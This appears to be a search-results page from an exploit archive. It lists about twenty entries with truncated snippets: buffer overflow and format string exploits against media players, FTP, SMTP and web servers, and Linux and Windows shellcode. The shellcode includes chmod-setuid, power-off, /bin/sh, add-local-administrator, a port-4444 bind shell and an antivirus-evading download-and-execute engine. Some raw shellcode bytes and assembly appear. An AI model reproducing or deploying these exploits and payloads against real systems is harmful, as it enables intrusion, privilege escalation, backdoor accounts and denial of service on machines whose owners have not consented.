7303 matches found
Xion Audio Player 1.0.127 - (m3u) Buffer Overflow Vulnerability
No description provided by source. Exploit Title: Xion Audio Player 1.0.127 m3u Buffer Overflow Vulnerability Date: 11/23/2010 Author: 0v3r Software Link: http://www.r2.com.au/downloads/files/xionv1.0b127.exe Version: 1.0.127 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python encoded with...
linux/x86 read(0,buf,2541); chmod(buf,4755); 23 bytes
No description provided by source. / readnchmod-core.c by Charles Stevenson [email protected] Example of strace output if you pass in /bin/sh\x00 read0, /bin/sh\0, 2541 = 8 chmod/bin/sh, 04755 = 0 Any file path can be given. For example: /tmp/.sneakyguy The only caveat is that the string must be NU...
Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
No description provided by source. Linux/x8664 rebootPOWEROFF 19 bytes shellcode Date: 2010-04-25 Author: zbt Tested on: x8664 Debian GNU/Linux / ; rebootLINUXREBOOTMAGIC1, LINUXREBOOTMAGIC2, LINUXREBOOTCMDPOWEROFF section .text global start start: mov edx, 0x4321fedc mov esi, 0x28121969 mov edi,...
Linux x86 - /bin/sh 8 bytes
No description provided by source. / 08048334 main: 8048334: 99 cltd 8048335: 6a 0b push $0xb 8048337: 58 pop %eax 8048338: 60 pusha 8048339: 59 pop %ecx 804833a: cd 80 int $0x80 using this code. step1. This code is compiled. step2. strace -x output binary step3. get execve args in strace result...
BisonFTP Server <= 3.5 - Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/python BisonFTP Server =v3.5 Remote Buffer Overflow Exploit Newer version's not tested, maybe vulnerable too written by localh0t Date: 10/08/11 Contact: [email protected] Follow: @mattdch www.localh0t.com.ar | www.mfsec.com.ar Thanks to: Pr0zac,...
Image22 ActiveX 1.1.1 - Buffer Overflow Exploit
No description provided by source. html object classid='clsid:1DC09FDF-2EF8-4CE9-ADEA-4D6A98A2F779' id='target'/object script language='vbscript' ' 988 bytes for shellcode ' bind shell port 4444 sc = unescape%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49 &...
XFree86 4.2 XLOCALEDIR Local Buffer Overflow Vulnerability (3)
No description provided by source. source: http://www.securityfocus.com/bid/7002/info Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment...
Easy File Sharing Web Server 6.8 - Stack Buffer Overflow
No description provided by source. Exploit Title: Easy File Sharing Web Server 6.8 stack buffer overflow Date: 10 May 2014 Exploit Author: superkojiman - http://www.techorganic.com Vendor Homepage: http://www.efssoft.com Software Link: http://www.sharing-file.com/efssetup.exe Version: 6.8 Tested...
Dream FTP 1.2 - Remote Format String Exploit
No description provided by source. include stdio.h include sys/types.h include sys/socket.h include netinet/in.h // WIN NT/2K/XP cmd.exe shellcode // kernel32.dll baseaddress calculation: OS/SP-independent // string-save: 00, 0a and 0d free. // portbinding: port 28876 // looping: reconnect after...
6 bytes DoS-Badger-Game shellcode
No description provided by source. include stdio.h include string.h / by Magnefikko 14.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 6 bytes DoS-Badger-Game shellcode Platform: Linux x86 pause gcc -Wl,-z,execstack filename.c shellcode: \x31\xc0\xb0\x1d\xcd\x80 / int main cha...
QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)
No description provided by source. !/bin/perl http://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit credit to Greg...
MPlayer Lite r33064 - m3u Buffer Overflow Exploit (DEP Bypass)
No description provided by source. !/usr/bin/perl +Exploit Title: MPlayer Lite r33064 m3u Buffer Overflow ExploitDEP BYPASS +Date: 24\07\2011 +Author: C4SS!0 and h1ch4m +Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayerRelease/Revision%2033064/mplayerliter33064.7z/download...
x86 linux hard / unclean reboot (33 bytes)
No description provided by source. / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ 0 0 \ \ /\ /\ \ \ \ /\ \ \ /\ /\ \ \ \ \ \ \ / 1 1 \ \ \ \\ \ \ /\ \...
APSIS Pound 1.5 - Remote Format String Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10267/info APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers. Ultimately this...
generic win32 - add new local administrator 326 bytes
No description provided by source. / Title: generic win32 - add new local administrator 326 bytes Author: Anastasios Monachos secuid0 - anastasiosmatgmaildotcom Method: Dynamic opcode, encoded shellcode Tested on: WinXP Pro SP3 EN 32bit - Build 2600.100427-1636 and Build 2600.080413-2111 Greetz:...
Free MP3 CD Ripper 1.1 - DEP Bypass Exploit
No description provided by source. !/usr/bin/python +Exploit Title: Free MP3 CD Ripper 1.1 Universal DEP Bypass Exploit +Date: 27\08\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.brothersoft.com/free-mp3-cd-ripper-84543.html +Found/Initial Exploit:...
Fred N. van Kempen dip 3.3.7 - Buffer Overflow Vulnerability (2)
No description provided by source. source: http://www.securityfocus.com/bid/86/info A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf' in line 192 in 'main.c': sprintfbuf, %s/LCK..%s,...
Download & Exec polymorphed shellcode Engine
No description provided by source. Download & Exec polymorphed shellcode engine POC This downloading and execution code is not detectable by popular AVs. Greetz 2: DarkEagle and Unl0ck researcherz; Str0ke and milw0rm; HD Moor and metasploit project; Maxus, Fuchunic, YrSam, Garry; Offtopic and PTT...
Aika 0.2 colladaconverter Xml Parsing Buffer Overflow
No description provided by source. / ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Exploit Title: Aika colladaconverter buffer overflow exploit Date: 09/11/2011 Author: isciurus Software Link:...
Sendmail 8.12.x Header Processing Buffer Overflow Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/6991/info Sendmail is prone to a remotely buffer-overflow vulnerability in the SMTP header parsing component. Successful attackers may exploit this vulnerability to gain control of affected servers. Reportedly, this...